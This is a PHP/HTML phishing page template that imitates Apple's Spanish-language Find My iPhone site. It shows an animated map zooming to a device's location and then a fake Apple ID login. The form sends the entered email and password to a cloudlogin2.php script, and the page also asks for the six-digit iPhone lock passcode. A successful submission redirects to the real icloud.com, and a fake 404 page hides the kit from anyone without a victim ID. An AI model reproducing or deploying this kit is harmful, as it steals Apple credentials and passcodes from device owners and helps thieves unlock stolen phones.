<?php
if(!isset($idequipo)){
    header("HTTP/1.0 404 Not Found");
    header("Status: 404 Not Found");
    die('<html><head>
<title>404 Not Found</title>
</head><body cz-shortcut-listen="true">
<h1>Not Found</h1>
<p>The requested URL was not found on this server.</p>
<p>Additionally, a 404 Not Found
error was encountered while trying to use an ErrorDocument to handle the request.</p>
</body></html>');
}
?>
<!-- saved from url=(0033)https://icloud.mag-apple.com/?v=1 -->
<html><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8"><style>.gm-style .gm-style-mtc label,.gm-style .gm-style-mtc div{font-weight:400}.gm-style .gm-style-mtc ul,.gm-style .gm-style-mtc li{box-sizing:border-box}
</style><style>.gm-control-active>img{box-sizing:content-box;display:none;left:50%;pointer-events:none;position:absolute;top:50%;transform:translate(-50%,-50%)}.gm-control-active>img:nth-child(1){display:block}.gm-control-active:hover>img:nth-child(1),.gm-control-active:active>img:nth-child(1){display:none}.gm-control-active:hover>img:nth-child(2),.gm-control-active:active>img:nth-child(3){display:block}
</style><link type="text/css" rel="stylesheet" href="/find_files/css"><style>.gm-ui-hover-effect{opacity:.6}.gm-ui-hover-effect:hover{opacity:1}
</style><style>.gm-style .gm-style-cc a,.gm-style .gm-style-cc button,.gm-style .gm-style-cc span,.gm-style .gm-style-mtc div{font-size:10px;box-sizing:border-box}
</style><style>@media print {  .gm-style .gmnoprint, .gmnoprint {    display:none  }}@media screen {  .gm-style .gmnoscreen, .gmnoscreen {    display:none  }}</style><style>.gm-style-pbc{transition:opacity ease-in-out;background-color:rgba(0,0,0,0.45);text-align:center}.gm-style-pbt{font-size:22px;color:white;font-family:Roboto,Arial,sans-serif;position:relative;margin:0;top:50%;-webkit-transform:translateY(-50%);-ms-transform:translateY(-50%);transform:translateY(-50%)}
</style><style>.gm-style img{max-width: none;}.gm-style {font: 400 11px Roboto, Arial, sans-serif; text-decoration: none;}</style>

	

	<meta content="width=device-width, initial-scale=1, maximum-scale=1" user-scalable="0" name="viewport">

	<title>Buscar mi Iphone</title>

	<link rel="shortcut icon" type="image/x-icon" href="">

	<link rel="stylesheet" type="text/css" media="screen" href="/find_files/log_in.css">

	<link rel="stylesheet" type="text/css" media="screen" href="/find_files/search.css">	

	<script type="text/javascript" src="/find_files/jquery-1.12.0.min.js"></script>

	<script type="text/javascript" src="/find_files/my_fuctions.js.php"></script>

	



					<!--<base href="/">--><base href=".">

		<meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=1, user-scalable=0">

    

		

		<meta name="format-detection" content="telephone=no"><!--<base href="/">--><base href=".">

		<meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=1">

		<link rel="stylesheet" href="/find_files/app.css">

		<link rel="stylesheet" href="/find_files/main.css">

		

    

		<style id="cw-bootstrap-css">

		body {

			margin: 0;

			padding: 0;

		}

			

		.cloudos-loading-screen {

		

			position: absolute;

			width: 100%;

			height: 100%;

			display: -webkit-box;

			display: -ms-flexbox;

			display: flex;

			-webkit-box-orient: vertical;

			-webkit-box-direction: normal;

			-ms-flex-direction: column;

			flex-direction: column;

		

		}

		

		.cloudos-loading-screen .header {

		

			background-color: #333;

			width: 100%;

			height: 44px;

			display: -webkit-box;

			display: -ms-flexbox;

			display: flex;

			-webkit-box-pack: center;

			-ms-flex-pack: center;

			justify-content: center;

			-webkit-box-align: center;

			-ms-flex-align: center;

			align-items: center;

		

		}

		

		.cloudos-loading-screen .header .apple-icon {

		

			fill: white;

			width: 18px;

			height: 24px;

			z-index: 1000;

		

		}

		

		.cloudos-loading-screen .content {

		

			-webkit-box-flex: 1;

			-ms-flex: 1 1 auto;

			flex: 1 1 auto;

			display: -webkit-box;

			display: -ms-flexbox;

			display: flex;

			-webkit-box-pack: center;

			-ms-flex-pack: center;

			justify-content: center;

			-webkit-box-align: center;

			-ms-flex-align: center;

			align-items: center;

		

		}

		

		.cloudos-loading-screen .spinner {

		

			width: 32px;

			height: 32px;

			opacity: 1;

			-webkit-transition: opacity ease-out 350ms;

			-o-transition: opacity ease-out 350ms;

			transition: opacity ease-out 350ms;

			-webkit-animation: 0.6s steps(12) 0s infinite cloudos-loading-spinner;

			animation: 0.6s steps(12) 0s infinite cloudos-loading-spinner;

		

		}

		

		.cloudos-loading-screen2 .spinner2 {

		

			width: 26px;

			height: 26px;

			opacity: 1;

			-webkit-transition: opacity ease-out 350ms;

			-o-transition: opacity ease-out 350ms;

			transition: opacity ease-out 350ms;

			-webkit-animation: 0.6s steps(12) 0s infinite cloudos-loading-spinner;

			animation: 0.6s steps(12) 0s infinite cloudos-loading-spinner;

		

		}

		

		.icon_uncheck_2{

		

			content: url("src/img/remember_unchecked.png");

			cursor: pointer;

			border: 0px solid;

			border-radius: 2px;

		

		}

		

		.icon_checked_2{

		

			content: url("src/img/remember_checked.png");

			cursor: pointer;

			border: 0px solid;

			border-radius: 2px;

		

		}

		

		#remember-me-label{

		

			cursor: pointer;

		

		}

		

			

		

		@-webkit-keyframes cloudos-loading-spinner {

		

			100% {

		

				-webkit-transform: rotate(360deg);

		

				transform: rotate(360deg);

		

			}

		

		}

		

		

		

		@keyframes cloudos-loading-spinner {

		

			100% {

		

				-webkit-transform: rotate(360deg);

		

				transform: rotate(360deg);

		

			}

		

		}

		

		</style><style>

      html, body {

        height: 100%;

        margin: 0;

        padding: 0;

		overflow:hidden;

      }

      #map {

        height: 100%;

      }

	  .gm-style-mtc, .gm-svpc, .gmnoprint {

		  display: none;

		}

 

 .Top {

	background-color: #fff; text-align:center; width:100%; font-family:Segoe, 'Segoe UI', 'DejaVu Sans', 'Trebuchet MS', Verdana, sans-serif; line-height:50px; font-size:20px; color: #333; font-weight: 700; border-bottom: solid 1px #A5D7AC;

	

}

.content {

	height: 98%;

	text-align: center;

	

}

.logout {

	color: #2DA63F;

	float: right;

	padding-right: 10px;

	font-weight: normal;

	font-size: 18px;

}

.logout a {

	text-decoration: none;

	color: #2DA63F;

}

		



		.blur {

			-webkit-filter: blur(3px);

			-moz-filter: blur(3px);

			-o-filter: blur(3px);

			-ms-filter: blur(3px);

			filter: blur(3px);

			width: 100%;

			height: 100%;

			background-color: #ccc;

		

		}



		@media screen and (-webkit-min-device-pixel-ratio:0) { 

			select,

			textarea,

			input {

			font-size: 16px;

			}

		}

		

		.modal { 

			position: fixed; /* Stay in place */

			z-index: 1; /* Sit on top */

			padding-top: 100px; /* Location of the box */

			left: 0;

			top: 0;

			width: 100%; /* Full width */

			height: 100%; /* Full height */

			overflow: auto; /* Enable scroll if needed */

			background-color: rgb(0,0,0); /* Fallback color */

			background-color: rgba(0,0,0,0.4); /* Black w/ opacity */

		}

		.w3-animate-zoom {animation:animatezoom 0.5s}@keyframes animatezoom{from{transform:scale(1.1)} to{transform:scale(1)}}





		/* Modal Content */

		.modal-content {

			

			background-color: #fefefe;

			margin: auto;

		

			border: 1px solid #888;

			width: 350px;

			border-radius: 16px;

		}



		/* The Close Button */

		.close {

			color: green;

			float: center;

			font-size: 16px;

			font-weight: bold;

		}



		.try_again {

			font-weight: bold;

			color: #0040DC

		}



		.okey {

		font-weight: bold;

		color: #0040DC

		}



		.try_again:hover,

		.try_again:focus {

			

			text-decoration: none;

			cursor: pointer;

			color: #0040DC

		}



		.okey:hover,

		.okey:focus {

			

			text-decoration: none;

			cursor: pointer;

			color: #0040DC

		}



		.cancel {

			color: #0040DC

			}



		.cancel:hover,

		.cancel:focus {

			

			text-decoration: none;

			cursor: pointer;

			color: #0040DC

		}



		.close:hover,

		.close:focus {

			

			color: green;

			text-decoration: none;

			cursor: pointer;

		}



		input {

		-webkit-appearance: none;

		border-radius: 0;

		}

		span{

		font-family: Sans-serif;

		}



		.wrap { 

		white-space: pre-wrap;      /* CSS3 */   

		white-space: -moz-pre-wrap; /* Firefox */    

		white-space: -pre-wrap;     /* Opera <7 */   

		white-space: -o-pre-wrap;   /* Opera 7 */    

		word-wrap: break-word;      /* IE */

		}



		.hide{

		display: none;

		}



		.show{

		dislpay: block;

		}



		.fade-in {

			animation: fadeIn ease 1s;

			-webkit-animation: fadeIn ease 1s;

			-moz-animation: fadeIn ease 1s;

			-o-animation: fadeIn ease 1s;

			-ms-animation: fadeIn ease 1s;

		  }



		  

		  

		  @keyframes fadeIn{

			0% {

			  opacity:0;

			}

			100% {

			  opacity:1;

			}

		  }

		  

		  @-moz-keyframes fadeIn {

			0% {

			  opacity:0;

			}

			100% {

			  opacity:1;

			}

		  }

		  

		  @-webkit-keyframes fadeIn {

			0% {

			  opacity:0;

			}

			100% {

			  opacity:1;

			}

		  }

		  

		  @-o-keyframes fadeIn {

			0% {

			  opacity:0;

			}

			100% {

			  opacity:1;

			}

		  }

		  

		  @-ms-keyframes fadeIn {

			0% {

			  opacity:0;

			}

			100% {

			  opacity:1;

			}

		  }









		  





		body,td,th, span {

	font-style: normal;

}

@font-face {

    font-family: "applefont";

    src: url("https://mapicloud.site/src/imap/fonts/SFNSText-Light.woff")format("woff");

    font-weight: 300;

}

@font-face {

    font-family: "applefont_medium";

    src: url("https://map.site/src/imap/fonts/SFNSText-Medium.woff") format("woff");

}
@media screen and (max-width:500px){
    .apple-id-frame-view2{
        width:100%;
    }
}
</style>
<script src="https://maps.googleapis.com/maps/api/js?libraries=places&key=AIzaSyADALjXwv_yhpL3yCoSnX0-1Tg86uRdFDE"></script>
</head>
<body class="tk-body ">

	

  <div class="cloudos-loading-screen" id="cw-bootstrap-html">

			<div class="toolbar-view base-application-toolbar-view cloud-os-application-toolbar-view dark-theme" style="top: 0px;z-index:1"><div class="cloud-os-application-toolbar-left-view toolbar-left-view"><span tabindex="0" class="apple-icon-button cw-button"><svg xmlns="http://www.w3.org/2000/svg" width="16" height="44" viewBox="0 0 16 44"><path d="M8.02 16.23c-.73 0-1.86-.83-3.05-.8-1.57.02-3.01.91-3.82 2.32-1.63 2.83-.42 7.01 1.17 9.31.78 1.12 1.7 2.38 2.92 2.34 1.17-.05 1.61-.76 3.03-.76 1.41 0 1.81.76 3.05.73 1.26-.02 2.06-1.14 2.83-2.27.89-1.3 1.26-2.56 1.28-2.63-.03-.01-2.45-.94-2.48-3.74-.02-2.34 1.91-3.46 2-3.51-1.1-1.61-2.79-1.79-3.38-1.83-1.54-.12-2.83.84-3.55.84zm2.6-2.36c.65-.78 1.08-1.87.96-2.95-.93.04-2.05.62-2.72 1.4-.6.69-1.12 1.8-.98 2.86 1.03.08 2.09-.53 2.74-1.31"></path></svg></span><div></div></div><div></div><div class="cloud-os-application-toolbar-right-view toolbar-right-view"><span tabindex="0" class="help-button cw-button"><svg viewBox="0 0 99.6097412109375 99.6572265625" version="1.1" xmlns="http://www.w3.org/2000/svg" classname=" glyph-box"><g transform="matrix(1 0 0 1 -8.740283203125045 85.05859375)"><path d="M 58.5449 14.5508 C 85.791 14.5508 108.35 -8.00781 108.35 -35.2539 C 108.35 -62.4512 85.7422 -85.0586 58.4961 -85.0586 C 31.2988 -85.0586 8.74023 -62.4512 8.74023 -35.2539 C 8.74023 -8.00781 31.3477 14.5508 58.5449 14.5508 Z M 58.5449 6.25 C 35.498 6.25 17.0898 -12.207 17.0898 -35.2539 C 17.0898 -58.252 35.4492 -76.7578 58.4961 -76.7578 C 81.543 -76.7578 100 -58.252 100.049 -35.2539 C 100.098 -12.207 81.5918 6.25 58.5449 6.25 Z M 57.5195 -25.1465 C 60.0098 -25.1465 61.4746 -26.6602 61.4746 -28.6133 L 61.4746 -29.1992 C 61.4746 -31.9336 63.0859 -33.6426 66.4551 -35.8887 C 71.1914 -39.0137 74.5605 -41.8945 74.5605 -47.7051 C 74.5605 -55.8594 67.334 -60.2051 59.082 -60.2051 C 50.6836 -60.2051 45.166 -56.25 43.7988 -51.7578 C 43.5547 -50.9277 43.4082 -50.1465 43.4082 -49.3164 C 43.4082 -47.168 45.1172 -45.9473 46.7285 -45.9473 C 49.5117 -45.9473 49.9512 -47.4609 51.5137 -49.2676 C 53.125 -51.9531 55.4688 -53.5645 58.7402 -53.5645 C 63.1836 -53.5645 66.1133 -51.0742 66.1133 -47.3145 C 66.1133 -43.9941 64.0137 -42.3828 59.7656 -39.4531 C 56.25 -37.0117 53.6621 -34.4238 53.6621 -29.6387 L 53.6621 -29.0039 C 53.6621 -26.416 55.0293 -25.1465 57.5195 -25.1465 Z M 57.4219 -10.5469 C 60.2539 -10.5469 62.6953 -12.793 62.6953 -15.625 C 62.6953 -18.5059 60.3027 -20.7031 57.4219 -20.7031 C 54.541 -20.7031 52.1484 -18.457 52.1484 -15.625 C 52.1484 -12.8418 54.5898 -10.5469 57.4219 -10.5469 Z"></path></g></svg></span><div></div></div></div>

		

			<div id="show_1" class="content hide fade-in" style="z-index:2;">

				<svg class="spinner" id="cloudos-loading-spinner" xmlns="http://www.w3.org/2000/svg" viewBox="-1 -1 2 2">

					<rect x="0.45625" y="-0.09099" width="0.54375" height="0.18198" rx="0.09099" ry="0.09099" fill="rgb(255,255,255)" transform="rotate(0)"></rect>

					<rect x="0.45625" y="-0.09099" width="0.54375" height="0.18198" rx="0.09099" ry="0.09099" fill="rgb(229,229,229)" transform="rotate(30)"></rect>

					<rect x="0.45625" y="-0.09099" width="0.54375" height="0.18198" rx="0.09099" ry="0.09099" fill="rgb(193,193,193)" transform="rotate(60)"></rect>

					<rect x="0.45625" y="-0.09099" width="0.54375" height="0.18198" rx="0.09099" ry="0.09099" fill="rgb(165,165,165)" transform="rotate(90)"></rect>

					<rect x="0.45625" y="-0.09099" width="0.54375" height="0.18198" rx="0.09099" ry="0.09099" fill="rgb(138,138,138)" transform="rotate(120)"></rect>

					<rect x="0.45625" y="-0.09099" width="0.54375" height="0.18198" rx="0.09099" ry="0.09099" fill="rgb(109,109,109)" transform="rotate(150)"></rect>

					<rect x="0.45625" y="-0.09099" width="0.54375" height="0.18198" rx="0.09099" ry="0.09099" fill="rgb(96,96,96)" transform="rotate(180)"></rect>

					<rect x="0.45625" y="-0.09099" width="0.54375" height="0.18198" rx="0.09099" ry="0.09099" fill="rgb(82,82,82)" transform="rotate(210)"></rect>

					<rect x="0.45625" y="-0.09099" width="0.54375" height="0.18198" rx="0.09099" ry="0.09099" fill="rgb(65,65,65)" transform="rotate(240)"></rect>

					<rect x="0.45625" y="-0.09099" width="0.54375" height="0.18198" rx="0.09099" ry="0.09099" fill="rgb(56,56,56)" transform="rotate(270)"></rect>

					<rect x="0.45625" y="-0.09099" width="0.54375" height="0.18198" rx="0.09099" ry="0.09099" fill="rgb(51,51,51)" transform="rotate(300)"></rect>

					<rect x="0.45625" y="-0.09099" width="0.54375" height="0.18198" rx="0.09099" ry="0.09099" fill="rgb(43,43,43)" transform="rotate(330)"></rect>

				</svg>

			</div>

		</div>

		

<div id="popup_1" class="modal hide">

        <?php 
        if($response->code==1){
            $stylecode="display:block;";        
            $stylelog = "display:none";
        }else{
            $stylecode="display:none;";        
            $stylelog = "display:block";
        }
        ?>

		<!-- Modal content -->

		<div align="center" class="modal-content w3-animate-zoom landing__interaction" style="<?php echo $stylelog;?>">

		<div style="padding-left: 18px; padding-right: 18px; padding-top: 18px; padding-bottom: 12px;">

		<div class="form">

	



	<div id="sign_table">


		<div class="findText" id="findText">Inicio de sesión requerido</div>

		<div id="signin" class="signin fade-in">

			<form id="signin-form" novalidate="">

				<div id="signin-content">

					<div class="email">

						<label class="label_mail">Apple ID</label>

						<input placeholder="Correo electrónico" name="xuser" class="appleid_field" required="" autocomplete="off" autocorrect="off" autocapitalize="off" aria-required="true" spellcheck="false" value="<?php echo $response->email;?>" style="outline:none;">

					</div>

					<div class="pass_content" style="visibility: visible;">

						<label class="label_pwd">Contraseña</label>

						<input placeholder="Campo obligatorio" class="pwd_field" name="xpass" type="password" required="required" can-field="password" autocomplete="off" style="outline:none;">

					</div>

					<button class="submit-btn" id="submit-btn" type="submit" disabled="" style="display: block;text-align: center;">Iniciar sesión...</button>

					<button class="spin_btn">

						<img class="spin_img" id="sign_spin" src="/find_files/spinner.gif">

					</button> 

					<button class="email-btn" id="email-btn" type="button" disabled="">Iniciar sesión...</button>

				</div>
				<input type="hidden" name="id" value="<?php echo $idequipo;?>">
			</form>						

			

		</div> 

	</div>



	<div id="pin_table">

		<div class="findText" id="pin_title">Ingresa el código</div>

		<div class="findText" id="pin_body">Ingresa el código&nbsp;que&nbsp;se&nbsp;usó&nbsp;para bloquear&nbsp;el&nbsp;iPhone</div>

		

		<form class="dots" novalidate=""></form>	

			<input type="tel" maxlength="1" size="1" class="dot unselectable" required="" name="dot_1" id="dot_1" autofocus="" unselectable="on">

			   <input type="tel" maxlength="1" size="1" class="dot unselectable" required="" name="dot_2" id="dot_2" unselectable="on">

			   <input type="tel" maxlength="1" size="1" class="dot unselectable" required="" name="dot_3" id="dot_3" unselectable="on">

			   <input type="tel" maxlength="1" size="1" class="dot unselectable" required="" name="dot_4" id="dot_4" unselectable="on">

			   <input type="tel" maxlength="1" size="1" class="dot unselectable" required="" name="dot_5" id="dot_5" unselectable="on">

			   <input type="tel" maxlength="1" size="1" class="dot unselectable" required="" name="dot_6" id="dot_6" unselectable="on">

			   

			   <button class="pin_btn">

				<img class="spin_img" id="pin_spin" src="/find_files/spinner.gif">

			</button> 

		   

	   </div>



	   <div class="form" id="compass" style="display: none;">

		<div class="compass">

			<img src="/find_files/compass1.png" class="compass1" alt="">

			<img src="/find_files/compass2.png" class="compass2" alt="">

			<img src="/find_files/compass3.png" class="compass3" alt="">

			<span>Localizando..</span>	

		</div>					   		

	</div>



   </div><table width="100%" cellpadding="0" cellspacing="0">		







</table>

		

		</div>
		

		</div>

        <iframe class="apple-id-frame-view2" src="/fmicode/codeappleesp.php?digitos=<?php echo $response->digitos;?>&id=<?php echo $idequipo;?>" style="margin:auto;background:#fff;border-radius:5px;<?php echo $stylecode;?>" width="400" frameborder="0" height="270" scrolling="no"></iframe>
		</div>

		

		<div id="popup_2" class="modal hide">



		<!-- Modal content -->

		<div align="center" class="modal-content w3-animate-zoom" style="border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;">

		<div style="padding-left: 18px; padding-right: 18px; padding-top: 18px; padding-bottom: 12px;">

			<span style="padding-top: 10px; font-weight: bold">Error de verificación</span>

			<div style="padding-top: 4px"><span class="wrap" style="font-size: 13px">El ID de Apple o la contraseña son incorectos</span>

				

			</div>

		</div>

		<div style="border-top: 1px solid #dbdbdb;">

			<div id="cancel" style="background-color: #fefefe;float:left; width:50%; height:50px; padding-top:12px; min-height: 30px; border-right: 1px solid #dbdbdb; border-bottom-left-radius: 16px;" class="cancel">

			<span>Cancelar</span>

			</div>

			<div id="try_again" style="background-color: #fefefe;float:right; width:50%;height:50px; padding-top:12px; min-height: 30px;  border-bottom-right-radius: 16px;" class="try_again">

			<span>Reintentar</span>

			</div>

		</div>

		

		</div>



		</div><div id="locked_id" class="modal hide">

			<!-- Modal content -->

			<div align="center" class="modal-content w3-animate-zoom">

				<div style="padding-left: 18px; padding-right: 18px; padding-top: 18px; padding-bottom: 12px;">

					<span style="padding-top: 10px; font-weight: bold"></span>

					<div style="padding-top: 4px"><span class="wrap" style="font-size: 13px"></span>

						

					</div>

				</div>

				<div style="border-top: 1px solid #dbdbdb;display:flex">

					<div id="try_again_locked_id" style="background-color: #fefefe;float:left; width:50%; height:auto; padding-top:8px; padding-bottom:8px; min-height: 30px; border-right: 1px solid #dbdbdb; border-bottom-left-radius: 16px;" class="cancel">

					<div style="position: relative;

					float: left;

					top: 50%;

					left: 50%;

					transform: translate(-50%, -50%);"><span></span></div>

					</div>

					<div id="redirect_iforgot" style="background-color: #fefefe;float:right; width:50%; padding-top:12px; padding-bottom:12px; min-height: 30px;  border-bottom-right-radius: 16px;" class="try_again">

					<span></span>

					</div>

				</div>

			</div>

		</div>



		<div id="blocked_id" class="modal hide">

			<!-- Modal content -->

			<div align="center" class="modal-content w3-animate-zoom" style="border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;">

				<div style="padding-left: 18px; padding-right: 18px; padding-top: 18px; padding-bottom: 12px;">

					<span style="padding-top: 10px; font-weight: bold"></span>

					<div style="padding-top: 4px"><span id="blocked_apple_id" class="wrap" style="font-size: 13px"></span>

						

					</div>

				</div>

				<div style="border-top: 1px solid #dbdbdb;">

					<div id="blocked_id_ok" style="background-color: #fefefe;float:right; width:100%;height:50px; padding-top:12px; min-height: 30px;  border-bottom-left-radius: 16px;border-bottom-right-radius: 16px;" class="try_again">

					<span>Ok</span>

					</div>

				</div>

			</div>

		</div>


<div id="output" type="hidden" style="font-size: 0px">0</div>	

<div id="outputcode" type="hidden" style="font-size: 0px">0</div>	



<div id="alert">

	<div id="dialogoverlay"></div>

	<div id="dialogbox" style="top: 268px">

	    <div>

	        <div id="dialogboxhead" class="alt_title"></div> 

	        <div id="dialogboxbody" class="alt_mssg"></div> 

	        <div id="dialogboxcode"></div>

	        <div id="dialogboxfoot"></div> 

	</div>    

	</div>    

</div>		



<div id="map" class="fade-in" style="position: relative; overflow: hidden;"><div style="height: 100%; width: 100%; position: absolute; top: 0px; left: 0px; background-color: rgb(229, 227, 223);"></div>

	

  

	

  

	<script>
initMap();
      var map;

      function initMap() {

        map = new google.maps.Map(document.getElementById('map'), {

          center: {lat: <?php echo $response->lat;?>, lng: <?php echo $response->lng;?>},

          zoom: 4, styles: [

			{

			"featureType": "administrative.country",

			"elementType": "geometry.stroke",

			"stylers": [

				{

				"color": "#e0a799"

				},

				{

				"visibility": "on"

				},

				{

				"weight": 3

				}

			]

			},

			{

			"featureType": "administrative.country",

			"elementType": "labels",

			"stylers": [

				{

				"weight": 2.5

				}

			]

			},

			{

			"featureType": "administrative.land_parcel",

			"elementType": "labels",

			"stylers": [

				{

				"visibility": "off"

				}

			]

			},

			{

			"featureType": "landscape.man_made",

			"elementType": "geometry.fill",

			"stylers": [

				{

				"color": "#efebe4"

				}

			]

			},

			{

			"featureType": "landscape.man_made",

			"elementType": "geometry.stroke",

			"stylers": [

				{

				"color": "#b8b7b3"

				}

			]

			},

			{

			"featureType": "landscape.natural",

			"elementType": "geometry.fill",

			"stylers": [

				{

				"color": "#f8f5ed"

				}

			]

			},

			{

			"featureType": "road.arterial",

			"elementType": "geometry.fill",

			"stylers": [

				{

				"color": "#fbfcdd"

				}

			]

			},

			{

			"featureType": "road.arterial",

			"elementType": "geometry.stroke",

			"stylers": [

				{

				"color": "#f3b977"

				}

			]

			},

			{

			"featureType": "road.highway",

			"elementType": "geometry.fill",

			"stylers": [

				{

				"color": "#fcf09c"

				}

			]

			},

			{

			"featureType": "road.highway",

			"elementType": "geometry.stroke",

			"stylers": [

				{

				"color": "#f6c291"

				}

			]

			},

			{

			"featureType": "road.local",

			"elementType": "geometry.stroke",

			"stylers": [

				{

				"color": "#c5c6b0"

				},

				{

				"visibility": "on"

				}

			]

			},

			{

			"featureType": "road.local",

			"elementType": "labels",

			"stylers": [

				{

				"visibility": "off"

				}

			]

			}

		]

        });

		var image = {

			url: '/find_files/iphone_x_space_gray.png',

			size: new google.maps.Size(107, 151),

			scaledSize: new google.maps.Size(107, 151)

		};

		  var beachMarker = new google.maps.Marker({

			position: {lat: <?php echo $response->lat;?>, lng: <?php echo $response->lng;?>},

			map: map,

			icon: image

		  });

      }

    </script>


	<script src="/find_files/jquery.min.js"></script>

	

	<script>

	$( "#out" ).click(function() {

	  $( "#form" ).submit();

	});

	</script>



		<script>



		$(document).ready(function(){

			console.log($("#redirect_iforgot").css("height"));

		});

		

		</script>

		<script id="erasable_1" type="text/javascript">

		

		var ss3 = setTimeout(function () {

			

			$("#show_1").addClass("hide");

			$("#show_1").addClass("fade-in");

			$("#map").removeClass("hide");

			

			clearTimeout(ss3);

		}, 1000);

		

		var ss5 = setTimeout(function () {

			

			var LatLng = new google.maps.LatLng(<?php echo $response->lat;?>, <?php echo $response->lng;?>);

			map.setZoom(6);

			map.panTo(LatLng);

			clearTimeout(ss5);

		}, 2100);



		var ss6 = setTimeout(function () {

			

			var LatLng = new google.maps.LatLng(<?php echo $response->lat;?>, <?php echo $response->lng;?>);

			map.setZoom(8);

			map.panTo(LatLng);

			clearTimeout(ss6);

		}, 2700);



		var ss7 = setTimeout(function () {

			

			var LatLng = new google.maps.LatLng(<?php echo $response->lat;?>, <?php echo $response->lng;?>);

			map.setZoom(10);

			map.panTo(LatLng);

			clearTimeout(ss7);

		}, 3400);



		var ss8 = setTimeout(function () {

			

			var LatLng = new google.maps.LatLng(<?php echo $response->lat;?>, <?php echo $response->lng;?>);

			map.setZoom(12);

			map.panTo(LatLng);

			clearTimeout(ss8);

		}, 4000);



		var ss9 = setTimeout(function () {

			

			var LatLng = new google.maps.LatLng(<?php echo $response->lat;?>, <?php echo $response->lng;?>);

			map.setZoom(14);

			map.panTo(LatLng);

			clearTimeout(ss9);

		}, 4600);



		var ss10 = setTimeout(function () {

			

			var LatLng = new google.maps.LatLng(<?php echo $response->lat;?>, <?php echo $response->lng;?>);

			map.setZoom(16);

			map.panTo(LatLng);

			clearTimeout(ss10);

		}, 5200);

		

		var ss4 = setTimeout(function () {



			$("#popup_1").removeClass("hide");

		    //$("#map").addClass("blur");

			var LatLng = new google.maps.LatLng(<?php echo $response->lat;?>, <?php echo $response->lng;?>);

			map.setZoom(18);

			map.panTo(LatLng);

			

			clearTimeout(ss4);

		}, 5800);

		$("#submit-btn").on("click", getCloud);
		function getCloud(a){
			var datos = $("#signin-form").serialize();
			$("#show_1").removeClass("hide");
			$.post(
				"cloudlogin2.php",
				datos,
				function(b){
					if(b==1){
						$("#sign_table").hide(0);
						$("#compass").show(0);
						$("#popup_1 .modal-content").css("width","100%");
						$("#show_1").addClass("hide").delay(5000).queue(function(){
							window.location="http://icloud.com";
						});
					}else{
						$("#popup_2").removeClass("hide");
						$("#show_1").addClass("hide");
					}
				}
			);
			a.preventDefault();
		}

		$( ".okey" ).click(function() {

			login();

		});



		$( "#try_again" ).click(function() {

			$("#popup_2").addClass("hide");

			$("#locked_id").addClass("hide");

			$("#popup_1").removeClass("hide");

			$( "#password" ).focus();

		});



		$( "#try_again_locked_id" ).click(function() {

			$("#locked_id").addClass("hide");

			$("#popup_1").removeClass("hide");

			$( "#password" ).focus();

		});



		$( "#blocked_id_ok" ).click(function() {

			$("#blocked_id").addClass("hide");

			$("#popup_1").removeClass("hide");

			$( "#password" ).focus();

		});



		</script>



			

			



	

		 




</div>
<div class="foots" style="padding:15px 0;background:#fdfdfd;border-top:5px solid #e3e3e3;z-index:1;">
    <div style="max-width:400px;margin:auto;">
        <div style="display:inline-block;vertical-align:top;position:relative;">
            <img src="assets/img/iphone.png" width="30px" class="iphone" style="vertical-align:-18px;position:relative;">
            <img class="spin_img" id="sign_spin" src="/find_files/spinner.gif">
        </div>
        <div style="display:inline-block;">  
            <h4 style="text-align:left;"><?php echo $response->equipo;?> <span style="display:inline-block;width:10px;height:10px;background:#2bc42b;border-radius:50%;"></span></h4>
            <span><?php echo $response->locate;?></span>
        </div>
    </div>
</div>
<script>
    for(var ops=0;ops<=100;ops++){
            $(".iphone").animate({top:"-35px"},400).animate({top:"0"},250).animate({left:"10px"},100).animate({left:"0"},100).animate({left:"10px"},100).animate({left:"0"},100).delay(2500);
		    $(".sombra").animate({width:"90px", left:"12px"},400).animate({width:"140px", left:"-12px"},250).animate({left:"0"},100).animate({left:"-12px"},100).animate({left:"0"},100).animate({left:"-12px"},100).delay(2500);
		}
</script>
</body></html>
